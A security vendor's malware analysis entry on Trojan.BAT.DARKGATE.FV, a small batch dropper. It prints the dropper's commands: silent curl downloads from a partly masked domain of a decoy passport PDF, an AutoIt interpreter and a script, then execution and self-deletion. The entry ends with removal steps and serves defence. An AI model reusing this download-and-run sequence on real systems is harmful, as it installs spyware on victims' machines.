Analysis by: Francesca Villasanta
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It may be dropped by other malware.

It deletes the initially executed copy of itself.

  TECHNICAL DETAILS

File Size: 463 bytes
File Type: BAT
Memory Resident: No
Initial Samples Received Date: 13 Dec 2023
Payload: Connects to URLs/IPs, Deletes files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It may be dropped by the following malware:

Installation

This Trojan adds the following processes:

  • curl --silent -L {BLOCKED}medrbopdrv.com/boostrap/p.pdf -o %User Profile%/Downloads/Passport20231023_90223.pdf
  • %User Profile%/Downloads/Passport20231023_90223.pdf
  • curl --silent -L {BLOCKED}medrbopdrv.com/boostrap/a.png -o %User Temp%/AutoIt3.exe
  • curl --silent -L {BLOCKED}medrbopdrv.com/boostrap/s.png -o %User Temp%/Orange.txt
  • cd %tmp%
  • AutoIt3.exe Orange.txt
  • del Orange.txt
  • del AutoIt3.exe
  • del Taste.cmd
  • taskkill /f /im cmd.exe

Other System Modifications

This Trojan deletes the following files:

  • After execution:
    • %User Temp%/AutoIt3.exe
    • %User Temp%/Orange.txt

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Download Routine

This Trojan connects to the following URL(s) to download its component file(s):

  • {BLOCKED}medrbopdrv.com/boostrap/p.pdf
    It saves the file as:
    • %User Profile%/Downloads/Passport20231023_90223.pdf → serves as a decoy pdf file

  • {BLOCKED}medrbopdrv.com/boostrap/a.png
    It saves the file as:
    • %User Temp%/AutoIt3.exe

  • {BLOCKED}medrbopdrv.com/boostrap/s.png
    It saves the file as:
    • %User Temp%/Orange.txt → detected as TrojanSpy.AutoIt.DARKGATE.FV

Other Details

This Trojan deletes the initially executed copy of itself.

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 18.876.04
FIRST VSAPI PATTERN DATE: 13 Dec 2023
VSAPI OPR PATTERN File: 18.877.00
VSAPI OPR PATTERN Date: 14 Dec 2023

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Remove the malware/grayware file dropped/downloaded by Trojan.BAT.DARKGATE.FV. (Note: Please skip this step if the threat(s) listed below have already been removed.)

     
    • %User Profile%/Downloads/Passport20231023_90223.pdf
    • %User Temp%/AutoIt3.exe
    • %User Temp%/Orange.txt

Step 4

Scan your computer with your Trend Micro product to delete files detected as Trojan.BAT.DARKGATE.FV. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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